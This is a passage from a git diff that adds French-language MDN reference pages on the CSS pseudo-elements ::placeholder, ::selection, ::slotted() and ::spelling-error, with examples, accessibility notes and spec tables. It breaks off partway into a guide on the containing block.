@@ -0,0 +1,156 @@
+---
+title: '::placeholder'
+slug: 'Web/CSS/::placeholder'
+tags:
+  - CSS
+  - Pseudo-element
+  - Reference
+translation_of: 'Web/CSS/::placeholder'
+---
+<div>{{CSSRef}}</div>
+
+<p>Le <a href="/fr/docs/Web/CSS/Pseudo-%C3%A9l%C3%A9ments">pseudo-élément</a> <strong><code>::placeholder</code></strong> représente <a href="/fr/docs/Web/Guide/HTML/Forms_in_HTML#The_placeholder_attribute">le texte de substitution</a> pour un élément {{HTMLElement("input")}} ou {{HTMLElement("textarea")}}. Cela permet aux développeurs web de personnaliser l'apparence de ce texte.</p>
+
+<pre class="brush: css no-line-numbers">::placeholder {
+  color: blue;
+  font-size: 1.5em;
+}</pre>
+
+<p>Seul un sous-ensemble des propriétés CSS peut être utilisé avec un sélecteur respectant ce pseudo-élément :</p>
+
+<ul>
+ <li>Toutes les propriétés liées aux polices de caractères : {{cssxref("font")}}, {{cssxref("font-kerning")}}, {{cssxref("font-style")}}, {{cssxref("font-variant")}}, {{cssxref("font-variant-numeric")}}, {{cssxref("font-variant-position")}}, {{cssxref("font-variant-east-asian")}}, {{cssxref("font-variant-caps")}}, {{cssxref("font-variant-alternates")}}, {{cssxref("font-variant-ligatures")}}, {{cssxref("font-synthesis")}}, {{cssxref("font-feature-settings")}}, {{cssxref("font-language-override")}}, {{cssxref("font-weight")}}, {{cssxref("font-size")}}, {{cssxref("font-size-adjust")}}, {{cssxref("font-stretch")}} et {{cssxref("font-family")}}</li>
+ <li>La propriété {{cssxref("color")}}</li>
+ <li>Toutes les propriétés liées à l'arrière-plan : {{cssxref("background-color")}}, {{cssxref("background-clip")}}, {{cssxref("background-image")}}, {{cssxref("background-origin")}}, {{cssxref("background-position")}}, {{cssxref("background-repeat")}}, {{cssxref("background-size")}},  {{cssxref("background-attachment")}} et {{cssxref("background-blend-mode")}}</li>
+ <li>{{cssxref("word-spacing")}}, {{cssxref("letter-spacing")}}, {{cssxref("text-decoration")}}, {{cssxref("text-transform")}} et {{cssxref("line-height")}}</li>
+ <li>{{cssxref("text-shadow")}}, {{cssxref("text-decoration")}}, {{cssxref("text-decoration-color")}}, {{cssxref("text-decoration-line")}}, {{cssxref("text-decoration-style")}} et {{cssxref("vertical-align")}}.</li>
+</ul>
+
+<div class="note">
+<p><strong>Note :</strong> Par défaut, dans la plupart des navigateurs, le texte de substitution est écrit en gris clair.</p>
+</div>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">input::placeholder {
+  color: red;
+}</pre>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;input type="email" placeholder="toto@exemple.com"&gt;</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Exemples","200","150")}}</p>
+
+<h2 id="Accessibilité">Accessibilité</h2>
+
+<h3 id="Contraste">Contraste</h3>
+
+<h4 id="Taux_de_contraste">Taux de contraste</h4>
+
+<p>Le texte de substitution est généralement représenté avec une couleur plus claire afin d'indiquer qu'il s'agit d'un suggestion et que ce contenu n'a pas été saisi par l'utilisateur ou par le site même.</p>
+
+<p>Il est important de vérifier que le contraste entre la couleur de ce texte et celle de l'arrière-plan est suffisament élevé afin que les personnes avec des conditions de vision faibles puissent les lire.</p>
+
+<p>La valeur du contraste est déterminée en comparant la luminosité de la couleur du texte de substitution et celle de l'arrière-plan. Afin de respecter les recommandations d'accessibilité : <a href="https://www.w3.org/WAI/intro/wcag">Web Content Accessibility Guidelines (WCAG)</a>, un ratio de 4.5:1 est nécessaire pour le contenu textuel normal et un ratio de 3:1 est nécessaire pour les textes plus grands ou en gras. Le seuil entre ces deux tailles est défini de la façon suivante :</p>
+
+<ul>
+ <li>Si le texte est en gras : 18.66px ou plus grand</li>
+ <li>Sinon 24px ou plus grand</li>
+</ul>
+
+<p>Autres ressources :</p>
+
+<ul>
+ <li><a href="https://webaim.org/resources/contrastchecker/" rel="noopener">WebAIM : vérificateur de contraste</a></li>
+ <li><a href="/fr/docs/Web/Accessibility/Understanding_WCAG/Perceivable#Guideline_1.4_Make_it_easier_for_users_to_see_and_hear_content_including_separating_foreground_from_background">Explications des recommendation WCAG 1.4</a></li>
+ <li><a href="https://www.w3.org/TR/UNDERSTANDING-WCAG20/visual-audio-contrast-contrast.html" rel="noopener">Understanding Success Criterion 1.4.3 | W3C Understanding WCAG 2.0</a></li>
+</ul>
+
+<h4 id="Utilisabilité">Utilisabilité</h4>
+
+<p>Les textes de substitution avec un contraste suffisamment élevé peuvent être pris pour des textes saisis par l'utilisateur. De plus, les textes de substituion disparaissent lorsqu'une personne saisit du contenu dans l'élément {{htmlelement("input")}}. Pour ces deux raisons, les textes de subsitution peuvent gêner la complétion du formulaire, notamment pour les personnes souffrant de troubles cognitifs.</p>
+
+<p>Une autre méthode consiste à fournir cette information en l'incluant à proximité du champ mais en dehors et d'utiliser l'attribut <code><a href="/fr/docs/Web/Accessibility/ARIA/ARIA_Techniques/Using_the_aria-describedby_attribute">aria-describedby</a></code> afin de relier l'élément {{HTMLElement("input")}} à l'indication associée.</p>
+
+<p>Avec cette méthode, le contenu indicatif est disponible à tout moment (même lorsqu'une information a été saisie par l'utilisateur) et le champ est vide lorsque la page est chargée. La plupart des lecteurs d'écran utiliseront <code>aria-describedby</code> afin de lire l'indication lorsque le libellé du champ aura été annoncé. La personne utilisant le lecteur d'écran pourra arrêter les annonces si elle estime que les informations supplémentaires ne sont pas nécessaires.</p>
+
+<pre class="brush:html line-numbers language-html">&lt;label for="user-email"&gt;Votre adresse mail&lt;/label&gt;
+&lt;span id="user-email-hint" class="input-hint"&gt;Exemple : johndoe@example.com&lt;/span&gt;
+&lt;input id="user-email" aria-describedby="user-email-hint" name="email" type="email"&gt;
+</pre>
+
+<ul>
+ <li><a href="https://www.nngroup.com/articles/form-design-placeholders/"><em>Placeholders in Form Fields Are Harmful</em> — Nielsen Norman Group (en anglais)</a></li>
+</ul>
+
+<h3 id="Mode_«_contraste_élevé_»_de_Windows">Mode « contraste élevé » de Windows</h3>
+
+<p>Lorsque le <a href="/en-US/docs/Web/CSS/-ms-high-contrast">mode de contraste élevé de Windows</a> est actif, les textes de substitution apparaîtront avec la même mise en forme que les textes saisis par l'utilisateur. Il est alors impossible de distinguer un texte saisi d'un texte indicatif.</p>
+
+<ul>
+ <li><a href="http://www.gwhitworth.com/blog/2017/04/how-to-use-ms-high-contrast">Greg Whitworth — Comment utiliser <code>-ms-high-contrast</code> (en anglais)</a></li>
+ <li>{{cssxref("-ms-high-contrast")}}</li>
+</ul>
+
+<h3 id="Libellés_(HTMLElement(&lt;label>))">Libellés ({{HTMLElement("&lt;label&gt;")}})</h3>
+
+<p>Les textes de substitution ne doivent pas remplacer les éléments {{htmlelement("label")}}. Sans libellé associé grâce à {{htmlattrxref("for", "label")}} et à {{htmlattrxref("id")}}, les outils d'assistance tels que les lecteurs d'écran ne peuvent pas correctement analyser les éléments {{htmlelement("input")}}.</p>
+
+<ul>
+ <li><a href="/fr/docs/Web/Accessibility/ARIA/forms/Basic_form_hints">Fournir des indications simples dans un formulaire</a></li>
+ <li><a href="https://www.nngroup.com/articles/form-design-placeholders/"><em>Placeholders in Form Fields Are Harmful</em> — Nielsen Norman Group (en anglais)</a></li>
+</ul>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS4 Pseudo-Elements', '#placeholder-pseudo', '::placeholder')}}</td>
+   <td>{{Spec2('CSS4 Pseudo-Elements')}}</td>
+   <td>Définitions initiales.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("css.selectors.placeholder")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{cssxref(":placeholder-shown")}} qui permet de mettre en forme un élément qui possède un <em>placeholder</em> actif
+
+  <ul>
+  </ul>
+ </li>
+ <li><a href="/fr/docs/Web/Guide/HTML/Forms_in_HTML">Les formulaires HTML</a></li>
+ <li>{{HTMLElement("input")}}</li>
+ <li>{{HTMLElement("textarea")}}</li>
+ <li>Les équivalents <strong>non-standards</strong> :
+  <ul>
+   <li>{{cssxref("::-webkit-input-placeholder")}}</li>
+   <li>{{cssxref("::-moz-placeholder")}}</li>
+   <li>{{cssxref(":-ms-input-placeholder")}}</li>
+  </ul>
+ </li>
+</ul>
diff --git a/files/fr/web/css/_doublecolon_selection/index.html b/files/fr/web/css/_doublecolon_selection/index.html
new file mode 100644
index 0000000000..409520ae24
--- /dev/null
+++ b/files/fr/web/css/_doublecolon_selection/index.html
@@ -0,0 +1,134 @@
+---
+title: '::selection'
+slug: 'Web/CSS/::selection'
+tags:
+  - CSS
+  - Pseudo-element
+  - Reference
+translation_of: 'Web/CSS/::selection'
+---
+<div>{{CSSRef}}</div>
+
+<p>Le <a href="/fr/docs/Web/CSS/Pseudo-éléments">pseudo-élément</a> <strong><code>::selection</code></strong> permet d'appliquer des règles CSS à une portion du document qui a été sélectionnée par l'utilisateur (via la souris ou un autre dispositif de pointage).</p>
+
+<pre class="brush: css no-line-numbers">::selection {
+  background-color: cyan;
+}</pre>
+
+<h2 id="Propriétés_autorisées">Propriétés autorisées</h2>
+
+<p>Seul un sous-ensemble des propriétés CSS peut être utilisé pour une règle dont le sélecteur contient <code>::selection</code> :</p>
+
+<ul>
+ <li>{{cssxref("color")}},</li>
+ <li>{{cssxref("background-color")}},</li>
+ <li>{{cssxref("cursor")}},</li>
+ <li>{{cssxref("caret-color")}},</li>
+ <li>{{cssxref("outline")}} ainsi que les propriétés détaillées associées,</li>
+ <li>{{cssxref("text-decoration")}} ainsi que les propriétés détaillées associées,</li>
+ <li>{{cssxref("text-emphasis-color")}},</li>
+ <li>{{cssxref("text-shadow")}}.</li>
+</ul>
+
+<p>On notera que {{cssxref("background-image")}} est ignorée, comme les autres propriétés.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">/*Syntaxe propre à Firefox (61 et antérieur) */
+::-moz-selection
+{{csssyntax}}
+</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">/* du texte sélectionné sera jaune sur fond rouge */
+::-moz-selection {
+  color: gold;
+  background-color: red;
+}
+
+::selection {
+  color: gold;
+  background-color: red;
+}
+
+/* le texte sélectionné dans un paragraphe */
+/* sera blanc sur noir                     */
+p::-moz-selection {
+  color: white;
+  background-color: black;
+}
+
+p::selection {
+  color: white;
+  background-color: black;
+}</pre>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;div&gt;Un peu de texte pour tester ::selection.&lt;/div&gt;
+&lt;p&gt;Essayez également de sélectionner du texte dans ce &amp;lt;p&amp;gt;&lt;/p&gt;</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample('Exemples')}}</p>
+
+<h2 id="Accessibilité">Accessibilité</h2>
+
+<p>Il est recommandé de <strong>ne pas surcharger la police par défaut fournie par le système d'exploitation à des fins esthétiques</strong> et notamment si l'utilisateur a personnalisé ces polices pour ses besoins. Pour les personnes qui connaissent moins les technologies, cette modification peut modifier leur compréhension des fonctionnalités du site.</p>
+
+<p>Si la police est surchargée, il faut s'assurer que le contraste entre la couleur du texte sélectionné et celle de l'arrière-plan est suffisamment élevé afin que les personnes disposant de faibles conditions de vision puissent lire le texte lorsqu'il est sélectionné.</p>
+
+<p>La valeur du contraste est déterminée en comparant la luminosité de la couleur du texte de substitution et celle de l'arrière-plan. Afin de respecter les recommandations d'accessibilité : <a href="https://www.w3.org/WAI/intro/wcag">Web Content Accessibility Guidelines (WCAG)</a>, un ratio de 4.5:1 est nécessaire pour le contenu textuel normal et un ratio de 3:1 est nécessaire pour les textes plus grands ou en gras. Le seuil entre ces deux tailles est défini de la façon suivante :</p>
+
+<ul>
+ <li>Si le texte est en gras : 18.66px ou plus grand</li>
+ <li>Sinon 24px ou plus grand</li>
+</ul>
+
+<p>Quelques ressources :</p>
+
+<ul>
+ <li><a href="https://webaim.org/resources/contrastchecker/" rel="noopener">WebAIM : vérificateur de contraste</a></li>
+ <li><a href="/fr/docs/Web/Accessibility/Understanding_WCAG/Perceivable#Guideline_1.4_Make_it_easier_for_users_to_see_and_hear_content_including_separating_foreground_from_background">Explications des recommendation WCAG 1.4</a></li>
+ <li><a href="https://www.w3.org/TR/UNDERSTANDING-WCAG20/visual-audio-contrast-contrast.html" rel="noopener">Understanding Success Criterion 1.4.3 | W3C Understanding WCAG 2.0</a></li>
+</ul>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS4 Pseudo-Elements', '#selectordef-selection', '::selection')}}</td>
+   <td>{{Spec2('CSS4 Pseudo-Elements')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<div class="note">
+<p><strong>Note : </strong>Bien que ce pseudo-élément était inscrit dans les brouillons pour la spécification des sélecteurs CSS de niveau 3, il a été retiré dans la phase de recommandation car le comportement n'était pas suffisamment défini, notamment avec les éléments imbriqués, de plus, l'interopérabilité n'était pas encore aboutie <a class="external" href="https://lists.w3.org/Archives/Public/www-style/2008Oct/0268.html">(selon une discussion de la liste de diffusion W3C Style)</a>.<br>
+ <br>
+ Le pseudo-élément <code>::selection</code> a de nouveau été ajouté dans la spécification pour <a href="https://dev.w3.org/csswg/css-pseudo-4/">les pseudo-éléments de niveau 4</a>.</p>
+</div>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("css.selectors.selection")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{cssxref("pointer-events")}} qui contrôle les évènements actifs sur l'élément</li>
+</ul>
diff --git a/files/fr/web/css/_doublecolon_slotted/index.html b/files/fr/web/css/_doublecolon_slotted/index.html
new file mode 100644
index 0000000000..503d42dbf9
--- /dev/null
+++ b/files/fr/web/css/_doublecolon_slotted/index.html
@@ -0,0 +1,111 @@
+---
+title: '::slotted()'
+slug: 'Web/CSS/::slotted'
+tags:
+  - CSS
+  - Pseudo-element
+  - Reference
+  - Web
+translation_of: 'Web/CSS/::slotted'
+---
+<div>{{CSSRef}}</div>
+
+<p>Le <a href="/fr/docs/Web/CSS/Pseudo-éléments">pseudo-élément</a> CSS <strong><code>::slotted()</code></strong> représente n'importe quel élément ayant été placé à l'intérieur d'un emplacement (<em>slot</em>) au sein d'un gabarit (<em>template</em>) HTML (cf. <a href="/fr/docs/Web/Web_Components/Using_templates_and_slots">Utiliser les gabarits et les emplacements</a> pour plus d'informations).</p>
+
+<p>Cela ne fonctionne que pour du CSS placé à l'intérieur d'un élément {{htmlelement("template")}} et/ou dans le <em><a href="/fr/docs/Web/Web_Components/Using_shadow_DOM">shadow DOM</a></em>. On notera également que ce sélecteur ne sélectionnera pas les noeuds texte placés dans les emplacements, il ne cible que les éléments.</p>
+
+<pre class="brush: css no-line-numbers">/* Cible n'importe quel élément placé dans un emplacement */
+::slotted(*) {
+  font-weight: bold;
+}
+
+/* Cible n'importe quel élément &lt;span&gt; placé dans un emplacement */
+::slotted(span) {
+  font-weight: bold;
+}
+</pre>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>Les fragments de code suivants sont tirés du dépôt <code><a href="https://github.com/mdn/web-components-examples/tree/master/slotted-pseudo-element">slotted-pseudo-element</a></code> (<a href="https://mdn.github.io/web-components-examples/slotted-pseudo-element/">voir le résultat en <em>live</em></a>).</p>
+
+<p>Dans cette démonstration, on utilise un gabarit avec trois emplacements :</p>
+
+<pre class="brush: html">&lt;template id="person-template"&gt;
+  &lt;div&gt;
+    &lt;h2&gt;Carte d'identité d'une personne&lt;/h2&gt;
+    &lt;slot name="person-name"&gt;NOM ABSENT&lt;/slot&gt;
+    &lt;ul&gt;
+      &lt;li&gt;&lt;slot name="person-age"&gt;AGE ABSENT&lt;/slot&gt;&lt;/li&gt;
+      &lt;li&gt;&lt;slot name="person-occupation"&gt;POSTE ABSENT&lt;/slot&gt;&lt;/li&gt;
+    &lt;/ul&gt;
+  &lt;/div&gt;
+&lt;/template&gt;</pre>
+
+<p>Un élément personnalisé — <code>&lt;person-details&gt;</code> — est défini de la façon suivante :</p>
+
+<pre class="brush: js">customElements.define('person-details',
+  class extends HTMLElement {
+    constructor() {
+      super();
+      let template = document.getElementById('person-template');
+      let templateContent = template.content;
+
+      const shadowRoot = this.attachShadow({mode: 'open'});
+
+      let style = document.createElement('style');
+      style.textContent = 'div { padding: 10px; border: 1px solid gray; width: 200px; margin: 10px; }' +
+                           'h2 { margin: 0 0 10px; }' +
+                           'ul { margin: 0; }' +
+                           'p { margin: 10px 0; }' +
+                           '::slotted(*) { color: gray; font-family: sans-serif; } ';
+
+      shadowRoot.appendChild(style);
+      shadowRoot.appendChild(templateContent.cloneNode(true));
+  }
+})</pre>
+
+<p>On voit ici que, lorsqu'on renseigne le <code>style</code> de l'élément, on sélectionne tous les éléments présents dans les emplacements (<code>::slotted(*)</code>) afin de leur fournir différentes polices et couleurs. Cela permet d'avoir une meilleur vision des emplacements qui ne sont pas encore occupés.</p>
+
+<p>Voici ce à quoi ressemblera l'élément lorsqu'il sera inséré dans la page :</p>
+
+<pre class="brush: html">&lt;person-details&gt;
+  &lt;p slot="person-name"&gt;Dr. Shazaam&lt;/p&gt;
+  &lt;span slot="person-age"&gt;Immortel&lt;/span&gt;
+  &lt;span slot="person-occupation"&gt;Super-héros&lt;/span&gt;
+&lt;/person-details&gt;</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS Scope', '#slotted-pseudo', '::slotted')}}</td>
+   <td>{{Spec2('CSS Scope')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("css.selectors.slotted")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/Web_Components">Les composants web</a></li>
+</ul>
diff --git a/files/fr/web/css/_doublecolon_spelling-error/index.html b/files/fr/web/css/_doublecolon_spelling-error/index.html
new file mode 100644
index 0000000000..03b39061f8
--- /dev/null
+++ b/files/fr/web/css/_doublecolon_spelling-error/index.html
@@ -0,0 +1,84 @@
+---
+title: '::spelling-error'
+slug: 'Web/CSS/::spelling-error'
+tags:
+  - CSS
+  - Experimental
+  - Pseudo-element
+  - Reference
+translation_of: 'Web/CSS/::spelling-error'
+---
+<div>{{CSSRef}}{{SeeCompatTable}}</div>
+
+<p>Le pseudo-élément <strong><code>::spelling-error</code></strong> représente une portion de texte que le navigateur signale comme étant mal orthographiée.</p>
+
+<pre class="brush: css no-line-numbers">::spelling-error {
+  color: red;
+}</pre>
+
+<h2 id="Propriétés_autoriséees">Propriétés autoriséees</h2>
+
+<p>Seul un sous-ensemble restreint de propriétés CSS peut être utilisé dans une règle dont le sélecteur contient <code>::spelling-error</code> :</p>
+
+<ul>
+ <li>{{cssxref("color")}},</li>
+ <li>{{cssxref("background-color")}},</li>
+ <li>{{cssxref("cursor")}},</li>
+ <li>{{cssxref("caret-color")}}</li>
+ <li>{{cssxref("outline")}} et les propriétés détaillées correspondantes,</li>
+ <li>{{cssxref("text-decoration")}} et les propriétés détaillées correspondantes.</li>
+ <li>{{cssxref("text-emphasis-color")}},</li>
+ <li>{{cssxref("text-shadow")}}</li>
+</ul>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">::spelling-error</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">p::spelling-error { color:red }</pre>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;p&gt;
+  Alice devina tout de suite qu’il cherch l’éventail
+  et la paire de gants.
+&lt;/p&gt;</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Exemples","250","100")}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS4 Pseudo-Elements', '#selectordef-spelling-error', '::spelling-error')}}</td>
+   <td>{{Spec2('CSS4 Pseudo-Elements')}}</td>
+   <td>Définition initiale</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("css.selectors.spelling-error")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{cssxref("::grammar-error")}}</li>
+</ul>
diff --git a/files/fr/web/css/a_propos_du_bloc_conteneur/index.html b/files/fr/web/css/a_propos_du_bloc_conteneur/index.html
new file mode 100644
index 0000000000..6269f895b5
--- /dev/null
+++ b/files/fr/web/css/a_propos_du_bloc_conteneur/index.html
@@ -0,0 +1,263 @@
+---
+title: À propos du bloc conteneur
+slug: Web/CSS/A_Propos_Du_Bloc_Conteneur
+tags:
+  - CSS
+  - Guide
+  - Reference
+translation_of: Web/CSS/Containing_block
+---
+<div>{{CSSRef}}</div>
+
+<p class="summary">Le <strong>bloc englobant (<em>containing block</em>)</strong> affecte souvent la taille et la position d'un élément. La plupart du temps, le bloc englobant est la <a href="/fr/Apprendre/CSS/Introduction_à_CSS/Le_modèle_de_boîte#Les_propriétés_des_boîtes">zone de contenu</a> de l'ancêtre de <a href="/fr/docs/Web/HTML/Éléments_en_bloc">bloc</a> le plus proche mais cette règle n'est pas absolue. <span class="seoSummary">Dans cet article, nous verrons les différents facteurs qui participent à la définition du bloc englobant.</span></p>
+
+<p>Lorsqu'un agent utilisateur (un navigateur web par exemple) dispose un document, il génère une boîte pour chaque élément du document. Chaque boîte est divisée en quatre zones :</p>
+
+<ol>
+ <li>La zone de contenu (<em>content area</em>)</li>
+ <li>La zone de remplissage (<em>padding area</em>)</li>
+ <li>La zone de bordure (<em>border area</em>)</li>
+ <li>La zone de marge (<em>margin area</em>)</li>
+</ol>
+
+<p><img alt="Diagram of the box model" src="https://mdn.mozillademos.org/files/16558/box-model.png" style="height: 300px; width: 544px;"></p>
+
+<div class="note">
+<p><strong>Note :</strong> Voir <a href="/fr/docs/Apprendre/CSS/Introduction_%C3%A0_CSS/Le_mod%C3%A8le_de_bo%C3%AEte">cet article pour découvrir le modèle de boîtes</a> en CSS.</p>
+</div>
+
+<p>On pourrait penser que le bloc englobant d'un élément est toujours la zone de contenu de son élément parent. Toutefois, ce n'est pas toujours le cas. Voyons donc les facteurs qui déterminent ce bloc englobant.</p>
+
+<h2 id="Les_effets_du_bloc_englobant">Les effets du bloc englobant</h2>
+
+<p>Avant d'aller plus loin, voyons l'impact du bloc englobant sur un élément.</p>
+
+<p>Les dimensions et la position d'un élément sont souvent dépendants du bloc englobant. Les valeurs en pourcentages appliquées à des propriétés comme {{cssxref("width")}}, {{cssxref("height")}}, {{cssxref("padding")}}, {{cssxref("margin")}} sont calculées relativement à la taille du bloc englobant. Il en va de même pour les propriétés de décalage des éléments positionnés de façon absolue (c'est-à-dire avec {{cssxref("position")}} qui vaut <code>absolute</code> ou <code>fixed</code>).</p>
+
+<h2 id="Identifier_le_bloc_englobant">Identifier le bloc englobant</h2>
+
+<p>Le bloc englobant est entièrement déterminé par la valeur de la propriété {{cssxref("position")}} pour l'élément :</p>
+
+<ul>
+ <li>Si la propriété <code>position</code><strong> </strong>vaut <code><strong>static</strong></code>, <code><strong>relative</strong></code> ou <code><strong>sticky</strong></code>, le bloc englobant est constitué par le bord de la boîte de contenu de l'ancêtre le plus proche qui est un conteneur de bloc (c'est-à-dire qui est un élément avec <code>display</code> qui vaut <code>inline-block</code>, <code>block</code> ou <code>list-item</code>) ou qui crée un contexte de formatage (tel qu'un conteneur de tableau, un conteneur flexible, un conteneur de grille ou le conteneur du bloc même).</li>
+ <li>Si la propriété <code>position</code> vaut <code><strong>absolute</strong></code>, le bloc englobant est constitué par le bord de la boîte de remplissage (<em>padding</em>) de l'ancêtre le plus proche dont la valeur de <code>position</code> est différente de <code>static</code> (<code>fixed</code>, <code>absolute</code>, <code>relative</code> ou <code>sticky</code>).</li>
+ <li>Si la propriété <code>position</code> vaut <code><strong>fixed</strong></code>, le bloc englobant est formé par le {{glossary("viewport")}} (ou la page dans le cas des média paginés).</li>
+ <li>Si la propriété <code>position</code><strong> </strong>vaut <code><strong>absolute</strong></code> ou <code><strong>fixed</strong></code>, le bloc englobant peut également être constitué par le bord de la boîte de remplissage le plus proche qui a :
+  <ol>
+   <li>Une propriété {{cssxref("transform")}} ou {{cssxref("perspective")}} avec une valeur différente de <code>none</code></li>
+   <li>Une propriété {{cssxref("will-change")}} qui vaut <code>transform</code> ou <code>perspective</code></li>
+   <li>Une propriété {{cssxref("filter")}} différente de <code>none</code> ou une propriété <code>will-change</code> différente of <code>filter</code> (ne fonctionne que pour Firefox).</li>
+   <li>Une propriété {{cssxref("contain")}} qui vaut <code>paint</code>.</li>
+  </ol>
+ </li>
+</ul>
+
+<div class="note">
+<p><strong>Note :</strong> Le bloc englobant contenant l'élément racine ({{HTMLElement("html")}}) est situé dans un rectangle appelé <strong>bloc englobant initial</strong>. Ce dernier a les dimensions de la zone d'affichage (<em>viewport</em>) ou de la page (pour les média paginés).</p>
+</div>
+
+<h2 id="Calcul_des_pourcentages_à_partir_du_bloc_englobant">Calcul des pourcentages à partir du bloc englobant</h2>
+
+<p>Comme mentionné ci-avant, lorsque certaines propriétés ont une valeur en pourcentage, la valeur calculée dépend du bloc contenant l'élément. Les propriétés qui fonctionnent de cette manière sont les propriétés <em><strong>box model</strong></em> et <em><strong>offset</strong></em> :</p>
+
+<ol>
+ <li>Les valeurs calculées des propriétés {{cssxref("height")}}, {{cssxref("top")}} et {{cssxref("bottom")}} sont construites à partir de la hauteur du bloc englobant.</li>
+ <li>Les valeurs calculées des propriétés {{cssxref("width")}}, {{cssxref("left")}}, {{cssxref("right")}}, {{cssxref("padding")}} et {{cssxref("margin")}} sont calculées à partir de la largeur (<code>width</code>) du bloc englobant.</li>
+</ol>
+
+<h2 id="Quelques_exemples">Quelques exemples</h2>
+
+<p>Le code HTML utilisé pour les exemples suivants sera :</p>
+
+<pre class="brush: html notranslate">&lt;body&gt;
+  &lt;section&gt;
+    &lt;p&gt;Et voici un paragraphe !&lt;/p&gt;
+  &lt;/section&gt;
+&lt;/body&gt;
+</pre>
+
+<h3 id="Premier_exemple">Premier exemple</h3>
+
+<p>Dans cet exemple, le paragraphe est positionné de façon statique et son bloc englobant est la zone de contenu de {{HTMLElement("section")}} car cet élément est l'ancêtre le plus proche qui est un conteneur de bloc.</p>
+
+<div class="hidden">
+<pre class="brush: html notranslate">&lt;body&gt;
+  &lt;section&gt;
+    &lt;p&gt;Et voici un paragraphe !&lt;/p&gt;
+  &lt;/section&gt;
+&lt;/body&gt;
+</pre>
+</div>
+
+<pre class="brush: css notranslate">body {
+  background: beige;
+}
+
+section {
+  display: block;
+  width: 400px;
+  height: 160px;
+  background: lightgray;
+}
+
+p {
+  width: 50%;   /* == 400px * .5 = 200px */
+  height: 25%;  /* == 160px * .25 = 40px */
+  margin: 5%;   /* == 400px * .05 = 20px */
+  padding: 5%;  /* == 400px * .05 = 20px */
+  background: cyan;
+}
+</pre>
+
+<p>{{EmbedLiveSample('Premier_exemple','100%','300')}}</p>
+
+<h3 id="Deuxième_exemple">Deuxième exemple</h3>
+
